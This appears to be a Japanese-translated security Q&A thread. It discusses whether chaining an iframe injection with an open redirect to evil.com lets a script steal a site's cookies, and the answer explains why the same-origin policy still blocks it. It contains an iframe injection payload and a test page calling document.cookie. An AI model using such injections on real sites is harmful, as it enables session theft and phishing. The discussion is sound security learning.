web-dev-qa-db-ja.com

iframeのXSSがドキュメントCookieにアクセスできない

私はWebサイトを知っています。これを_website.com_と呼びましょう。これには次の脆弱性があります。

  1. iframeインジェクション：src属性を使用してiframeをインジェクトでき​​ますが、スクリプトを直接インジェクトすることはできません。これが_website.com/iframeinjection_にあるとしましょう。

  2. 制御されないリダイレクトの脆弱性：_website.com/link?path=google.com_は_google.com_にリダイレクトします。

これら2つの脆弱性をつなぎ合わせて、iframeインジェクションを使用して、次のようなものを_website.com/iframeinjection_に挿入しました。

_<iframe src="website.com/link?path=evil.com/index.html"></iframe>
_

Base-urlがwebsite.comであり、_evil.com/index.html_からのこのスクリプトが_website.com/iframeinjection_で実行されるため、これは同じOriginポリシーをバイパスします。

_<!DOCTYPE html>
<html>
<head></head>
<body>
  <script>
    alert(1);
    alert(document.cookie);
  </script
</body>
</html>
_

_website.com/iframeinjection_にアクセスすると、alert(1)は通常どおり1に警告しますが、JavaScriptが実行されている場合でも、alert(document.cookie)は_website.com_からCookieにアクセスできません。 iframeの外側。どうしてこれなの？これは正当な脆弱性ですか？これを使用してクッキーを盗む方法はありますか？

web-applicationxssjavascriptcookiesiframe
1
Michael Hoefler

これは、base-urlがwebsite.comであり、evil.comからのスクリプトがwebsite.com/iframeinjectionで実行されるため、同じOriginポリシーをバイパスします。

これは正しくありません。オープンリダイレクトの脆弱性は、website.comがevil.comにリダイレクトすることを意味します。つまり、原点が変化します。スクリプトはevil.comでホストされ、それが実行されるOriginでもあります。したがって、evil.comではなくwebsite.comからCookieを読み取ろうとしています。私を信じていない場合は、コメントで tim の提案を実行してください。alert(document.location)を追加すると、現在の場所がわかります。

ただし、ここに脆弱性がないという意味ではありません。オープンリダイレクトは、それ自体に問題があります。 「iframeインジェクション」がどのように機能するかは正確にはわかりませんが、おそらくそれも悪用可能ですが、この特定の方法ではありません。

少なくとも、iframeを使用してある種のなりすまし攻撃を行うのは簡単です。 evil.comで訪問者にパスワードを入力させる。

4
Anders